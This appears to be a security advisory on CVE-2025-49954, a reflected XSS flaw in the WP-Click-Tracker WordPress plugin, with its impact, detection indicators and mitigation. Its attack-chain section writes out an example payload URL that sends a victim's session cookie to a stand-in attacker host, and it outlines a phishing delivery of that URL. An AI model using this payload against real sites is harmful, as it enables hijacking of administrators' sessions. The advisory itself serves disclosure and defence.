CVE-2025-49954: 
WordPress vulnerability analysis and mitigation

CVE-2025-49954 is a Reflected Cross-Site Scripting (XSS) vulnerability in the WP-Click-Tracker WordPress plugin (slug: wp-click-track) developed by mithra62. It affects all versions up to and including 0.7.3, with no official patch currently available. The vulnerability was reported by researcher Nguyen Xuan Chien on June 14, 2025, and published by Patchstack on July 14, 2025; it was formally registered in NVD on October 22, 2025. It carries a CVSS v3.1 base score of 7.1 (High) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Reflected XSS variant. User-supplied input is not properly sanitized or escaped before being reflected back in the HTTP response, allowing an attacker to inject arbitrary JavaScript or HTML into the page rendered in a victim's browser. Exploitation requires no authentication (unauthenticated attacker) but does require user interaction — a privileged user must click a crafted malicious link or visit an attacker-controlled page. No detailed technical write-up or public PoC code has been published at this time (Patchstack).

Successful exploitation allows an attacker to inject and execute malicious scripts (JavaScript, HTML redirects, advertisements, or other payloads) in the context of a victim's browser session on the affected WordPress site. Because the CVSS scope is marked as Changed, the impact extends beyond the vulnerable plugin itself — potentially affecting the broader WordPress environment, including session hijacking, credential theft, or defacement. Confidentiality, integrity, and availability are all assessed as Low impact individually, but the combined effect on site visitors and administrators can be significant, particularly in mass-exploit campaigns targeting many WordPress sites simultaneously (Patchstack).

No public exploit code or active in-the-wild exploitation has been confirmed at this time. The EPSS score is approximately 0.029% (0.000290), indicating a low current probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, Patchstack notes that vulnerabilities of this type are commonly used in mass-exploit campaigns targeting WordPress plugins at scale, regardless of site popularity (Patchstack).

1. Reconnaissance: Identify WordPress sites running the WP-Click-Tracker plugin (version ≤ 0.7.3) using tools like WPScan, Shodan, or by inspecting plugin directories on target sites.
2. Identify vulnerable parameter: Locate the plugin's front-end or admin-facing endpoint that reflects unsanitized user input in the HTTP response (specific parameter names are not publicly disclosed).
3. Craft malicious URL: Construct a URL containing a reflected XSS payload in the vulnerable parameter, e.g., https://target-site.com/wp-admin/admin.php?page=wp-click-track&param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver to victim: Send the crafted URL to a privileged WordPress user (e.g., administrator) via phishing email, social engineering, or embedded in a forum/comment.
5. Achieve objective: When the victim clicks the link and their browser renders the reflected payload, the injected script executes — enabling session cookie theft, credential harvesting, or further malicious actions within the victim's authenticated session (Patchstack).

• Network: HTTP requests to WordPress plugin endpoints (e.g., wp-click-track pages) containing URL-encoded script tags (%3Cscript%3E, %3C/script%3E) or JavaScript event handlers (onerror=, onload=) in query parameters; outbound requests from victim browsers to unknown external domains shortly after visiting a WordPress page.
• Logs: WordPress or web server access logs showing GET/POST requests to WP-Click-Tracker plugin pages with anomalous query strings containing HTML or JavaScript fragments; repeated requests from different IPs with similar XSS payload patterns (indicative of mass-exploit scanning).
• Browser/Session: Unexpected session cookie exfiltration or admin account actions not initiated by the legitimate user; new administrator accounts created without authorization following a suspected XSS event.

As of the time of publication, no official patch from the plugin developer (mithra62) is available for WP-Click-Tracker. The recommended immediate action is to deactivate and remove the plugin until a patched version is released. Patchstack has issued a virtual patching/mitigation rule for subscribers that blocks exploitation attempts without requiring a code-level fix. Site owners unable to remove the plugin should consult their hosting provider or web developer, and consider deploying a Web Application Firewall (WAF) rule to filter reflected XSS payloads targeting the plugin's endpoints (Patchstack).